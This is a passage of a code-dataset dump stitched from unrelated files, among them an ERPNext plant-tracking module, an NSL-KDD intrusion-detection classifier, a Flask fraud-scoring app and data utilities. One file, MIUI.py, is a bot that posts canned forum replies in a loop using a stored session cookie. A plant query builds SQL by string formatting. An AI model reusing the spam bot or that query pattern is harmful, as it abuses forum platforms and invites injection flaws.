\"/v8eval.i\")\nsystem(\"cat \" + py_dir + \"/_v8eval.py >> \" + py_v8eval_dir + \"/v8eval.py\")\n\n# workaround\nsystem(\"mkdir \" + v8_dir + \"/buildtools/third_party/libc++/trunk/test/std/experimental/filesystem/Inputs/static_test_env/dne\")\n\n# build _v8eval.so\ninclude_dirs = [v8_dir, v8_dir + '/include', uv_dir + '/include']\nlibrary_dirs = [v8eval_root + '/build', uv_dir + '/.libs']\nlibraries=['v8eval',\n 'v8eval_python',\n 'v8_libplatform',\n 'v8_base',\n 'v8_libbase',\n 'v8_libsampler',\n 'v8_init',\n 'v8_initializers',\n 'v8_nosnapshot',\n 'uv']\n\nif platform == \"linux\" or platform == \"linux2\":\n environ[\"CC\"] = v8_dir + '/third_party/llvm-build/Release+Asserts/bin/clang'\n environ[\"CXX\"] = v8_dir + '/third_party/llvm-build/Release+Asserts/bin/clang++'\n\n libraries += ['rt']\n\n library_dirs += [v8_dir + '/out/x64.release/obj.target/src']\nelif platform == \"darwin\":\n library_dirs += [v8_dir + '/out/x64.release']\n\nv8eval_module = Extension(\n '_v8eval',\n sources=[py_v8eval_dir + '/v8eval_wrap.cxx'],\n libraries=libraries,\n include_dirs=include_dirs,\n library_dirs=library_dirs,\n extra_compile_args=['-O3',\n '-std=c++11'])\n\n\n# make description\ndescription = 'Run JavaScript engine V8 in Python'\nlong_description = description\ntry:\n import pypandoc\n long_description = pypandoc.convert('README.md', 'rst')\nexcept ImportError:\n pass\n\n# setup v8eval package\nsetup(name='v8eval',\n version='0.2.11',\n author='Yoshiyuki Mineo',\n author_email='Yoshiyuki.Mineo@jp.sony.com',\n license='MIT',\n url='https://github.com/sony/v8eval',\n description=description,\n long_description=long_description,\n keywords='v8 js javascript binding',\n ext_modules=[v8eval_module],\n py_modules=['v8eval'],\n package_dir={'': 'python/v8eval'},\n classifiers=[\"License :: OSI Approved :: MIT License\",\n \"Programming Language :: Python :: 2.7\",\n \"Programming Language :: Python :: 3\",\n \"Programming Language :: Python :: 3.5\",\n \"Programming Language :: Python :: Implementation :: CPython\",\n \"Operating System :: POSIX :: Linux\",\n \"Operating System :: MacOS :: MacOS X\",\n \"Intended Audience :: Developers\",\n \"Topic :: Software Development :: Libraries\"])\n","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":3189,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"77454985","text":"# -*- coding: utf-8 -*-\n# Copyright (c) 2015, Webonyx and contributors\n# For license information, please see license.txt\n\nfrom __future__ import unicode_literals\nimport frappe, datetime\nfrom erpnext.stock.utils import get_stock_balance\nfrom erpnext_biotrack.biotrackthc import call as biotrackthc_call\nfrom erpnext_biotrack.biotrackthc.inventory_room import get_default_warehouse\nfrom erpnext_biotrack.item_utils import get_item_values, make_item, generate_item_code\nfrom frappe.desk.reportview import build_match_conditions\nfrom frappe.utils.data import cint, now, flt, add_to_date\nfrom frappe.model.document import Document\nfrom erpnext.stock.doctype.stock_entry.stock_entry_utils import make_stock_entry\nfrom frappe.utils.background_jobs import enqueue\n\nremoval_reasons = {\n\t0: 'Other',\n\t1: 'Waste',\n\t2: 'Unhealthy or Died',\n\t3: 'Infestation',\n\t4: 'Product Return',\n\t5: 'Mistake',\n\t6: 'Spoilage',\n\t7: 'Quality Control'\n}\n\n\nclass Plant(Document):\n\tdef on_submit(self):\n\t\tif frappe.flags.in_import:\n\t\t\treturn\n\n\t\tself.validate_item_balance()\n\t\tself.make_stock_entry()\n\n\t\t# bulk add\n\t\tif self.qty > 1 and not self.flags.in_bulk:\n\t\t\tself.flags.bulk_add = True\n\t\t\tself.flags.bulk_plants = []\n\n\t\t\tfor i in xrange(self.qty - 1):\n\t\t\t\tplant = frappe.copy_doc(self)\n\t\t\t\tplant.qty = 1\n\t\t\t\tplant.flags.in_bulk = True\n\t\t\t\tplant.submit()\n\t\t\t\tself.flags.bulk_plants.append(plant)\n\n\n\tdef on_cancel(self):\n\t\tif self.flags.in_import:\n\t\t\treturn\n\n\t\tself.make_stock_entry_cancel()\n\n\tdef on_trash(self):\n\t\t# able to delete new Plants\n\t\tif self.state == \"Growing\" or not self.harvest_scheduled:\n\t\t\treturn\n\n\t\tif not self.destroy_scheduled:\n\t\t\tfrappe.throw(\"Plant can not be deleted directly. Please schedule for destruction first\")\n\n\t\tif not self.disabled:\n\t\t\tfrappe.throw(\"Plant can only be deleted once destroyed\")\n\n\tdef validate_item_balance(self):\n\t\t# able to delete new Plants\n\t\titem = frappe.get_doc(\"Item\", self.get(\"item_code\"))\n\t\tqty = get_stock_balance(item.item_code, self.get(\"from_warehouse\"))\n\t\tif qty < self.qty:\n\t\t\tfrappe.throw(\"The provided quantity {0} exceeds stock balance. \"\n\t\t\t\t\t\t \"Stock balance remaining {1}\".format(self.qty, qty))\n\n\tdef make_stock_entry(self):\n\t\titem = frappe.get_doc(\"Item\", self.get(\"item_code\"))\n\t\tste = make_stock_entry(item_code=item.name, source=self.get(\"from_warehouse\"), qty=1, do_not_save=True)\n\t\tste.plant = self.name\n\t\tste.submit()\n\n\n\tdef make_stock_entry_cancel(self):\n\t\tname = frappe.db.exists(\"Stock Entry\", {\"plant\": self.name})\n\t\tif name:\n\t\t\tste = frappe.get_doc(\"Stock Entry\", name)\n\t\t\tste.cancel()\n\n\n\tdef collect_item(self, item_group, qty):\n\t\tdefault_warehouse = get_default_warehouse()\n\t\treturn make_item(properties={\n\t\t\t\"item_name\": item_group.item_group_name,\n\t\t\t\"item_code\": generate_item_code(),\n\t\t\t\"item_group\": item_group.name,\n\t\t\t\"default_warehouse\": default_warehouse.name,\n\t\t\t\"strain\": self.get(\"strain\"),\n\t\t\t\"stock_uom\": \"Gram\",\n\t\t\t\"is_stock_item\": 1,\n\t\t\t\"plant\": self.name,\n\t\t}, qty=qty)\n\n\n\tdef delete_related_items(self):\n\t\tfor item_name in frappe.get_all(\"Item\", {\"plant\": self.name}):\n\t\t\titem = frappe.get_doc(\"Item\", item_name)\n\t\t\tfor name in frappe.get_list(\"Stock Entry\", {\"item_code\": item.item_code}):\n\t\t\t\tste = frappe.get_doc(\"Stock Entry\", name)\n\t\t\t\tste.cancel()\n\t\t\t\tste.delete()\n\t\t\titem.delete()\n\n\t@Document.whitelist\n\tdef cure(self, flower, other_material=None, waste=None, additional_collection=None):\n\t\tif self.disabled:\n\t\t\tfrappe.throw(\"Plant {} is not available for harvesting.\")\n\n\t\tif self.destroy_scheduled:\n\t\t\tfrappe.throw(\"Plant {} is currently scheduled for destruction and cannot be harvested.\")\n\n\t\tself.dry_weight = flt(self.dry_weight) + flt(flower)\n\t\tif self.wet_weight and self.dry_weight > self.wet_weight:\n\t\t\tfrappe.throw(\n\t\t\t\t\"The provided dry weight {0} exceeds the previous wet weight {1}.\".\n\t\t\t\t\tformat(self.dry_weight, self.wet_weight), title=\"Error\")\n\n\t\titems = []\n\t\tfrappe.flags.ignore_external_sync = True\n\n\t\t# collect Flower\n\t\titem_group = frappe.get_doc(\"Item Group\", {\"external_id\": 6})\n\t\titems.append(self.collect_item(item_group, flower))\n\n\t\tif other_material:\n\t\t\titem_group = frappe.get_doc(\"Item Group\", {\"external_id\": 9})\n\t\t\titems.append(self.collect_item(item_group, other_material))\n\n\t\tif waste:\n\t\t\titem_group = frappe.get_doc(\"Item Group\", {\"external_id\": 27})\n\t\t\titems.append(self.collect_item(item_group, waste))\n\n\n\t\t# Remove from Cultivation\n\t\tif not additional_collection or self.dry_weight == self.wet_weight:\n\t\t\tself.disabled = 1\n\n\t\tself.cure_collect = self.cure_collect + 1\n\t\tself.flags.ignore_validate_update_after_submit = True\n\t\tself.save()\n\n\t\t# hook\n\t\tself.run_method(\"after_cure\", items=items, flower=flower, other_material=other_material, waste=waste, additional_collection=additional_collection)\n\n\t\treturn {\"items\": items}\n\n\t@Document.whitelist\n\tdef cure_undo(self):\n\t\tif not self.disabled:\n\t\t\tfrappe.throw(\"Invalid action\")\n\n\t\tself.run_method(\"before_cure_undo\")\n\n\t\t# self.delete_related_items()\n\n\t\tself.disabled = 0\n\t\tself.cure_collect = self.cure_collect - 1 if self.cure_collect > 0 else 0\n\t\tself.flags.ignore_validate_update_after_submit = True\n\t\tself.save()\n\n\t@Document.whitelist\n\tdef harvest(self, flower, other_material=None, waste=None, additional_collection=None):\n\t\tif self.disabled:\n\t\t\tfrappe.throw(\"Plant {} is not available for harvesting.\")\n\n\t\tif self.destroy_scheduled:\n\t\t\tfrappe.throw(\"Plant {} is currently scheduled for destruction and cannot be harvested.\")\n\n\t\titems = []\n\t\tfrappe.flags.ignore_external_sync = True\n\t\tif other_material:\n\t\t\titem_group = frappe.get_doc(\"Item Group\", {\"external_id\": 9})\n\t\t\titems.append(self.collect_item(item_group, other_material))\n\n\t\tif waste:\n\t\t\titem_group = frappe.get_doc(\"Item Group\", {\"external_id\": 27})\n\t\t\titems.append(self.collect_item(item_group, waste))\n\n\t\tself.wet_weight = flt(self.wet_weight) + flt(flower)\n\t\tif not additional_collection:\n\t\t\tself.state = \"Drying\"\n\n\t\t# Reset harvest_scheduled status\n\t\tself.harvest_scheduled = 0\n\t\tself.harvest_schedule_time = None\n\t\tself.harvest_collect = self.harvest_collect + 1\n\t\tself.flags.ignore_validate_update_after_submit = True\n\t\tself.save()\n\n\t\tself.run_method(\"after_harvest\", items=items, flower=flower, other_material=other_material, waste=waste, additional_collection=additional_collection)\n\n\t\treturn {\"items\": items}\n\n\t@Document.whitelist\n\tdef harvest_undo(self):\n\t\tif self.state != \"Drying\":\n\t\t\tfrappe.throw(\"Invalid action\")\n\n\t\tself.run_method(\"before_harvest_undo\")\n\n\t\tself.delete_related_items()\n\n\t\tself.wet_weight = 0\n\t\tself.dry_weight = 0\n\t\tself.harvest_collect = self.harvest_collect - 1 if self.harvest_collect > 0 else 0\n\t\tself.state = \"Growing\"\n\n\t\tself.flags.ignore_validate_update_after_submit = True\n\t\tself.save()\n\n\t@Document.whitelist\n\tdef destroy_schedule(self, reason, reason_txt=None, override=None):\n\t\tif self.destroy_scheduled and not override:\n\t\t\tfrappe.throw(\n\t\t\t\t\"Plant {} has already been scheduled for destruction. Check `Reset Scheduled time` to reschedule.\".format(\n\t\t\t\t\tself.name))\n\n\t\treason_key = removal_reasons.keys()[removal_reasons.values().index(reason)]\n\t\tself.run_method(\"before_destroy_schedule\", reason_key=reason_key, reason=reason_txt, override=override)\n\n\t\tself.destroy_scheduled = 1\n\t\tself.remove_reason = reason_txt or reason\n\t\tself.remove_time = now()\n\t\tself.flags.ignore_validate_update_after_submit = True\n\t\tself.save()\n\n\t@Document.whitelist\n\tdef destroy_schedule_undo(self):\n\t\tif not self.destroy_scheduled:\n\t\t\treturn\n\n\t\tself.run_method(\"before_destroy_schedule_undo\")\n\t\tself.flags.ignore_validate_update_after_submit = True\n\t\tself.destroy_scheduled = 0\n\t\tself.remove_reason = None\n\t\tself.remove_time = None\n\t\tself.save()\n\n\t@Document.whitelist\n\tdef harvest_schedule(self):\n\t\tif self.harvest_scheduled:\n\t\t\tfrappe.throw(\"Plant {} has been scheduled for harvesting.\".format(self.name))\n\n\t\tself.run_method(\"before_harvest_schedule\")\n\t\tself.harvest_scheduled = 1\n\t\tself.harvest_schedule_time = now()\n\n\t\tself.flags.ignore_validate_update_after_submit = True\n\t\tself.save()\n\n\t@Document.whitelist\n\tdef harvest_schedule_undo(self):\n\t\tif not self.harvest_scheduled:\n\t\t\tfrappe.throw(\"Plant {} was not in scheduled state.\".format(self.name))\n\n\t\tif self.state == \"Drying\":\n\t\t\tfrappe.throw(\"Plant {} has already on harvesting process.\".format(self.name))\n\n\t\tself.run_method(\"before_harvest_schedule_undo\")\n\n\t\tself.harvest_scheduled = 0\n\t\tself.harvest_schedule_time = None\n\n\t\tself.flags.ignore_validate_update_after_submit = True\n\t\tself.save()\n\n\t@Document.whitelist\n\tdef convert_to_inventory(self):\n\t\titem_group = frappe.get_doc(\"Item Group\", {\"external_id\": 12}) # Mature Plant\n\t\tqty = 1\n\t\titem = self.collect_item(item_group, qty)\n\n\t\t# destroy plant as well\n\t\tself.destroy_scheduled = 1\n\t\tself.remove_time = now()\n\t\tself.disabled = 1\n\n\t\tself.flags.ignore_validate_update_after_submit = True\n\t\tself.save()\n\n\t\tself.run_method('after_convert_to_inventory', item=item)\n\n\ndef get_plant_list(doctype, txt, searchfield, start, page_len, filters):\n\tfields = [\"name\", \"strain\"]\n\tmatch_conditions = build_match_conditions(\"Plant\")\n\tmatch_conditions = \"and {}\".format(match_conditions) if match_conditions else \"\"\n\n\treturn frappe.db.sql(\"\"\"select %s from `tabPlant` where docstatus < 2\n\t\tand (%s like %s or strain like %s)\n\t\t{match_conditions}\n\t\torder by\n\t\tcase when name like %s then 0 else 1 end,\n\t\tcase when strain like %s then 0 else 1 end,\n\t\tname, strain limit %s, %s\"\"\".format(match_conditions=match_conditions) %\n\t\t\t\t\t\t (\", \".join(fields), searchfield, \"%s\", \"%s\", \"%s\", \"%s\", \"%s\", \"%s\"),\n\t\t\t\t\t\t (\"%%%s%%\" % txt, \"%%%s%%\" % txt, \"%%%s%%\" % txt, \"%%%s%%\" % txt, start, page_len))\n\n\ndef bulk_clone(name):\n\tsource_plant = frappe.get_doc(\"Plant\", name)\n\n\tif source_plant.qty > 1:\n\t\twarehouse = frappe.get_doc(\"Warehouse\", source_plant.get(\"warehouse\"))\n\t\tlocation = frappe.get_value(\"BioTrack Settings\", None, \"location\")\n\t\tremaining_qty = source_plant.qty - 1\n\n\t\tresult = biotrackthc_call(\"plant_new\", {\n\t\t\t\"room\": warehouse.external_id,\n\t\t\t\"quantity\": remaining_qty,\n\t\t\t\"strain\": source_plant.strain,\n\t\t\t\"source\": source_plant.item_code,\n\t\t\t\"mother\": cint(source_plant.get(\"is_mother\")),\n\t\t\t\"location\": location\n\t\t})\n\n\t\tfor barcode in result.get(\"barcode_id\"):\n\t\t\tplant = frappe.new_doc(\"Plant\")\n\t\t\tplant.update({\n\t\t\t\t\"barcode\": barcode,\n\t\t\t\t\"item_group\": source_plant.item_group,\n\t\t\t\t\"source\": source_plant.item_code,\n\t\t\t\t\"strain\": source_plant.strain,\n\t\t\t\t\"warehouse\": source_plant.warehouse,\n\t\t\t\t\"state\": source_plant.state,\n\t\t\t\t\"birthdate\": now(),\n\t\t\t})\n\n\t\t\tplant.save()\n\n\t\t# save directly with sql to avoid mistimestamp check\n\t\tfrappe.db.set_value(\"Plant\", source_plant.name, \"qty\", 1, update_modified=False)\n\t\tfrappe.publish_realtime(\"list_update\", {\"doctype\": \"Plant\"})\n\n\ndef destroy_scheduled_plants():\n\t\"\"\"Destroy expired Plants\"\"\"\n\tdate = add_to_date(now(), days=-3)\n\tfor name in frappe.get_list(\"Plant\",\n\t\t\t\t\t\t\t\t[[\"disabled\", \"=\", 0], [\"destroy_scheduled\", \"=\", 1], [\"remove_time\", \"<\", date]]):\n\t\tplant = frappe.get_doc(\"Plant\", name)\n\t\tplant.disabled = 1\n\t\tplant.remove_time = now()\n\t\tplant.flags.ignore_validate_update_after_submit = True\n\t\tplant.save()\n","sub_path":"erpnext_biotrack/traceability_system/doctype/plant/plant.py","file_name":"plant.py","file_ext":"py","file_size_in_byte":11244,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"475765795","text":"import sys\nread=lambda:sys.stdin.readline().rstrip()\nreadi=lambda:int(sys.stdin.readline())\nwriteln=lambda x:sys.stdout.write(str(x)+\"\\n\")\nwrite=lambda x:sys.stdout.write(x)\nC,N=map(int, read().split())\nchick=[];cows=[]\nfor i in range(C):\n chick.append(readi())\nfor j in range(N):\n a,b=map(int, read().split())\n cows.append((a,b))\n\n\n","sub_path":"why_did_the_cow_cross_the_road/14464.py","file_name":"14464.py","file_ext":"py","file_size_in_byte":342,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"580007849","text":"import numpy as np\nimport pandas as pd\nfrom collections import Counter\nfrom tcn import compiled_tcn\n\nfrom keras.layers import Dense, Input, Reshape\nfrom keras.models import Model\nfrom tcn import TCN\nfrom keras.utils import to_categorical\nfrom sklearn.metrics import accuracy_score\n\n\ntrain_data = pd.read_csv('E:/NSL_KDD/KDDTrain_full.csv')\ntrain_data = train_data.drop(['difficulty_level'], axis=1)\ntest_data = pd.read_csv('E:/NSL_KDD/KDDTest+.csv')\ntest_data = test_data.drop(['difficulty_level'], axis=1)\n\ndos_types = ['back', 'land', 'neptune', 'pod', 'smurf', 'teardrop', 'apache2', 'mailbomb', 'processtable',\n 'udpstorm']\nu2r_types = ['buffer_overflow', 'loadmodule', 'perl', 'rootkit', 'httptunnel', 'ps', 'sqlattack', 'xterm']\nr2l_types = ['ftp_write', 'guess_passwd', 'imap', 'multihop', 'phf', 'spy', 'warezclient', 'warezmaster', 'named',\n 'sendmail', 'snmpgetattack', 'snmpguess', 'worm', 'xlock', 'xsnoop']\nprobe_types = ['ipsweep', 'nmap', 'portsweep', 'satan', 'mscan', 'saint']\nabnormalList = dos_types + u2r_types + r2l_types + probe_types\n\n\ndef data_replace(i):\n i = i.fillna(0.)\n\n # convert protocol_type\n i['protocol_type'] = i['protocol_type'].replace('tcp', 0)\n i['protocol_type'] = i['protocol_type'].replace('udp', 1)\n i['protocol_type'] = i['protocol_type'].replace('icmp', 2)\n\n # convert service\n service_value = i.loc[:, ['service']].values.flatten()\n service_dict = dict(Counter(service_value))\n service_type = np.array(service_dict.keys()).tolist()\n service_number = np.arange(0, len(service_dict), 1)\n i['service'] = i['service'].replace(service_type, service_number)\n\n # convert flag\n flag_value = i.loc[:, ['flag']].values.flatten()\n flag_dict = dict(Counter(flag_value))\n flag_type = np.array(flag_dict.keys()).tolist()\n flag_number = np.arange(0, len(flag_dict), 1)\n i['flag'] = i['flag'].replace(flag_type, flag_number)\n\n # convert Y\n i['type'] = i['type'].replace(abnormalList, 1)\n i['type'] = i['type'].replace('normal', 0)\n\n return i\n\n\ntrain_data = data_replace(train_data)\ntest_data = data_replace(test_data)\n\nx_train = train_data.drop(['type'], axis=1)\nx_test = test_data.drop(['type'], axis=1)\nx_train = x_train.astype('float32')\nx_test = x_test.astype('float32')\n\nx_train = np.expand_dims(x_train.values, axis=2)\nx_test = np.expand_dims(x_test.values, axis=2)\n\nx_train = x_train.astype('float32')\nx_test = x_test.astype('float32')\ny_train = train_data.loc[:, ['type']]\ny_test = test_data.loc[:, ['type']]\n\ny_train = to_categorical(y_train,2)\ny_test = to_categorical(y_test,2)\n\nprint(f'x_train.shape = {x_train.shape}')\nprint(f'y_train.shape = {y_train.shape}')\nprint(f'x_test.shape = {x_test.shape}')\nprint(f'y_test.shape = {y_test.shape}')\n\ni = Input(batch_shape=(None, 41, 1))\nprint(\"Input 1 shape: \" + str(i.shape))\no = TCN(return_sequences=False,\n nb_filters=25,\n kernel_size=6,\n dilations=[2 ** i for i in range(5)],\n nb_stacks=1,\n use_skip_connections=True,\n dropout_rate=0.05,\n padding='same')(i)\no = Reshape((-1,1))(o)\no = TCN(return_sequences=False,\n nb_filters=25,\n kernel_size=6,\n dilations=[2 ** i for i in range(5)],\n nb_stacks=1,\n use_skip_connections=True,\n dropout_rate=0.05,\n padding='same')(o)\no = Dense(2, activation='softmax')(o)\n\nmodel = Model(inputs=i, outputs=o)\nmodel.compile(optimizer='adam', loss='categorical_crossentropy', metrics=['accuracy'])\n\nmodel.summary()\n\nhist = model.fit(x_train, y_train, epochs=15, validation_data=(x_test,y_test))\nprint(hist.history)\npd.DataFrame.from_dict(hist.history).to_csv(\"Output.csv\", float_format=\"%.5f\", index=False)\n\neva1 = model.evaluate(x_test, y_test)\nprint(eva1)\n\npre = model.predict(x_test)\n\nTP = 0\nFN = 0\nFP = 0\nTN = 0\n\n\ndef my_martrix(a,b):\n global TP, FN, FP, TN\n if(a[0]>a[1] and b[0]>b[1]):\n TP = TP + 1\n elif(a[0]a[1] and b[0]b[1]):\n FP = FP + 1\n else:\n print(\"Wrong!\")\n print(a,b)\n exit(0)\n\n\nlength = len(y_test)\n\nfor m in range(length):\n my_martrix(y_test[m], pre[m])\n\nwith open('ConfusionMatrix.txt','w') as m:\n m.write(\"TP: \" + str(TP))\n m.write(\"\\n\\n\")\n m.write(\"TN: \" + str(TN))\n m.write(\"\\n\\n\")\n m.write(\"FN: \" + str(FN))\n m.write(\"\\n\\n\")\n m.write(\"FP: \" + str(FP))\n","sub_path":"2_Classification.py","file_name":"2_Classification.py","file_ext":"py","file_size_in_byte":4460,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"180615004","text":"\r\n\r\ndef multiply(a,b):\r\n if(b==0 or a==0):\r\n return 0\r\n if(b==1):\r\n return a #base case\r\n return a+multiply(a,b-1) #recursive case\r\n\r\nresult1=multiply(0,0)\r\nresult2=multiply(2,1)\r\nresult3=multiply(5,3)\r\nresult4=multiply(10,5)\r\n\r\nprint (\"Results are :\",result1,result2,result3,result4)\r\n","sub_path":"multiply(a,b).py","file_name":"multiply(a,b).py","file_ext":"py","file_size_in_byte":309,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"499736149","text":"from dataflow.connections import *\nfrom dataflow.helpers import *\nfrom dataflow.data import *\nimport pandas as pd\nimport pytest\n\ndef make_connection():\n config = parse_config(\"tests/config.yml\")\n return ElasticsearchConnection(\n \"test_data\",\n \"raw\",\n host=config[\"es_host\"],\n port=config[\"es_port\"]\n )\n\ndef test_write():\n # Test does not check whether data\n # data have actually been inserted\n con = make_connection()\n con.write(single_dict)\n con.write(list_of_dicts)\n\ndef test_add():\n # Test does not check whether data\n # data have actually been inserted\n con = make_connection()\n con += single_dict\n con += list_of_dicts\n\ndef test_count():\n # Test does not check whether data\n # data have actually been inserted\n con = make_connection()\n assert isinstance(len(con), int)\n\ndef test_load():\n # Only tests for errors\n con = make_connection()\n list(con)\n","sub_path":"tests/connections/test_elasticsearch.py","file_name":"test_elasticsearch.py","file_ext":"py","file_size_in_byte":941,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"131719752","text":"import requests\r\nimport json\r\nimport random\r\nfrom bs4 import BeautifulSoup\r\nimport time\r\n\r\n# 回复的板块id\r\n# # 61软件 62游戏 63壁纸 41主题\r\ncircleId = ['61','62','63','41']\r\n# 回复的内容\r\ncontent = ['好东西大家一起玩','不错的资源,谢谢分享。。。。。。','这东西可以玩玩','回帖是一种美德,顶贴是给楼主热心分享的动力!!!各位机油认真回复','真的吗,我来看看','真的那么神奇吗','看看能不能打开','一定要试试看,好不好用。','是不是真的啊大兄弟老铁666','厉害,可以,666','MIUI 因你更精彩!','Good,感谢分享~','辛苦了,后排支持一下!!!','赞一个,好东西!','感谢你的分享 ,期待分享更多给力资源!','顶。。。。。。。。。。。。。。。。','感觉分享!!!','支持一下!!!','不错 支持一下','好东西,先谢谢了','谢谢分享,有你精彩!','谢谢楼主分享']\r\n# 请求头和cookie\r\nheaders = {\r\n\t'User-Agent':'Dalvik/2.1.0 (Linux; U; Android 8.0.0; MIX 2 MIUI/8.6.13)',\r\n\t'Cookie':''\r\n}\r\n\r\n# 获取列表\r\ndef get_list(circleId):\r\n\tcircleId = str(circleId)\r\n\tpage = str(random.randint(1,10))\r\n\ttry:\r\n\t\t# 获取资源\r\n\t\tres = requests.get('https://api.bbs.miui.com/app/circle/circledisplay?circleId='+circleId+'&page='+page,headers=headers)\r\n\t\t# 获取0到19的随机数\r\n\t\tnum = random.randint(0,19)\r\n\t\tif res.status_code == 200:\r\n\t\t\ttext = json.loads(res.text)\r\n\t\t\t# 返回随机id\r\n\t\t\treturn text['list'][num]['id']\r\n\t\treturn None\r\n\texcept Exception as e:\r\n\t\treturn None\r\n\r\n# 发送回复\r\ndef send(tid):\r\n\t# 模拟回复接口\r\n\tparams = {\r\n\t\t'attachnew':'',\r\n\t\t'fromClient':'chiron',\r\n\t\t'message':random.choice(content),\r\n\t\t'tid':tid\r\n\t}\r\n\tres = requests.post('https://api.bbs.miui.com/app/forum/reply',headers=headers,params=params)\r\n\treturn json.loads(res.text)\r\n\r\nsuccess = 0\r\nerror = 0\r\nwhile True:\r\n\tres = send(get_list(random.choice(circleId)))\r\n\tif res['error'] == 0:\r\n\t\tsuccess += 1\r\n\telse:\r\n\t\terror += 1\r\n\t\tprint(res['desc'])\r\n\tprint('成功:%s次 失败:%s次' %(success,error))\r\n\ttime.sleep(20)\r\n","sub_path":"MIUI.py","file_name":"MIUI.py","file_ext":"py","file_size_in_byte":2106,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"69586339","text":"from typing import *\nfrom utils import TreeNode, build_tree, drawtree\nimport random\n\nclass Solution:\n def flatten(self, root: Optional[TreeNode]) -> None:\n \"\"\"\n Do not return anything, modify root in-place instead.\n \"\"\"\n self.func(root)\n\n def _the_most_right(self, node):\n while node.right is not None:\n node = node.right\n return node\n\n def func(self, root):\n if root is not None:\n self.func(root.left)\n self.func(root.right)\n\n if root.left is not None and root.right is not None:\n left_leaf = self._the_most_right(root.left)\n left_leaf.right = root.right\n root.right = root.left\n root.left = None\n \n elif root.left is not None:\n root.right = root.left\n root.left = None\n\n\n\n\n\nif __name__ == '__main__':\n sol = Solution()\n inp_lst = [str(random.randint(-100, 100)) for _ in range(2000)]\n inp = '[' + ','.join(inp_lst) + ']'\n inp = '[1,2,5,3,4,null,6]'\n root = TreeNode.build_by_str(inp)\n # root.draw()\n sol.flatten(root)\n root.draw()\n","sub_path":"source code/114. Flatten Binary Tree to Linked List.py","file_name":"114. Flatten Binary Tree to Linked List.py","file_ext":"py","file_size_in_byte":1171,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"332377250","text":"from flask import Flask, request, render_template\nimport json\nimport requests\nimport socket\nimport time\nfrom datetime import datetime\nimport re\nimport data_cleaning_pipeline as dcp\n\napp = Flask(__name__)\nPORT = 5353\nREGISTER_URL = \"http://galvanize-case-study-on-fraud.herokuapp.com/data_point\"\nDATA = []\nTIMESTAMP = []\n\n\n@app.route('/score', methods=['GET', 'POST'])\ndef score():\n m_zero = 0\n request.method == \"POST\"\n for _ in range(1):\n # Get url that the user has entered\n url = REGISTER_URL\n r = requests.get(url)\n m = re.search('(?<=\"object_id\": )\\w+', r.text)\n if m.group(0) != m_zero:\n DATA.append(json.loads(re.sub(r\"\\s+\", \" \", r.text)))\n print(type(json.loads(re.sub(r\"\\s+\", \" \", r.text))))\n TIMESTAMP.append(time.time())\n m_zero = m.group(0)\n print(len(DATA))\n time.sleep(2)\n for row in DATA:\n pipeline = dcp.Data_Cleaning(row)\n risk, probability = pipeline.run_pipeline()\n df = pipeline.df\n df['fraud_predictions'] = probability\n return render_template('index.html', risk=risk, probability=probability, object_id=m.group(0))\n\n\n@app.route('/check')\ndef check():\n line1 = \"Number of data points: {0}\".format(len(DATA))\n if DATA and TIMESTAMP:\n dt = datetime.fromtimestamp(TIMESTAMP[-1])\n data_time = dt.strftime('%Y-%m-%d %H:%M:%S')\n line2 = \"Latest datapoint received at: {0}\".format(data_time)\n line3 = DATA[-1]\n output = \"{0}\\n\\n{1}\\n\\n{2}\".format(line1, line2, line3)\n else:\n output = line1\n return output, 200, {'Content-Type': 'text/css; charset=utf-8'}\n\n\ndef register_for_ping(ip, port):\n registration_data = {'ip': ip, 'port': port}\n requests.post(REGISTER_URL, data=registration_data)\n\n\nif __name__ == '__main__':\n # Register for pinging service\n ip_address = socket.gethostbyname(socket.gethostname())\n print(\"attempting to register %s:%d\" % (ip_address, PORT))\n register_for_ping(ip_address, str(PORT))\n\n # Start Flask app\n app.run(host='0.0.0.0', port=PORT, debug=True)\n","sub_path":"fraud-case-study/web_app.py","file_name":"web_app.py","file_ext":"py","file_size_in_byte":2126,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"218890180","text":"import csv\nimport gzip\nimport logging\nimport re\nimport shutil\nimport tempfile\nimport zipfile\nfrom pathlib import Path\nfrom typing import Iterator, List, Union\n\nimport requests\n\nfrom . import settings\n\nlog = logging.getLogger(__name__)\n\ndictionary = re.findall(\n r\"(\\w+)\\s+(\\w+)\\s+(\\d+)\\s?\",\n requests.get(\"https://pdata.hcad.org/Desc/Layout_and_Length.txt\").text,\n)\n\n\ndef get_fields(table: str) -> List[str]:\n return [i[1] for i in dictionary if i[0] in table]\n\n\ndef get_max_columns(table: str) -> int:\n return len([i for i in dictionary if i[0] in table])\n\n\ndef get_field_size_limit(table: str) -> int:\n return max(int(i[-1]) for i in dictionary if i[0] in table)\n\n\ndef open_zip(file: Union[str, Path]) -> zipfile.ZipFile:\n zip_file = zipfile.ZipFile(file)\n zip_file.printdir()\n return zip_file\n\n\ndef decompress_zip(*files: Union[str, Path]) -> Iterator[Path]:\n tmp = Path(tempfile.mkdtemp())\n for file in map(Path, files):\n dst = tmp.joinpath(file.parent.name).joinpath(file.stem)\n dst.mkdir(parents=True, exist_ok=True)\n log.info(\"Processing %s\" % file)\n zip_file = zipfile.ZipFile(file)\n zip_file.printdir()\n zip_file.extractall(dst)\n for extract in dst.rglob(\"*.txt\"):\n yield extract\n log.info(\"Processed %s\" % file)\n\n\ndef compress_csv(*files: Union[Path, str]) -> Iterator[Path]:\n for file in map(Path, files):\n with file.open(\"rb\") as f_in:\n log.info(\"Compressing %s\", f_in)\n dst = file.with_suffix(f\"{file.suffix}.gz\")\n with gzip.open(dst, \"wb\") as f_out:\n shutil.copyfileobj(f_in, f_out)\n 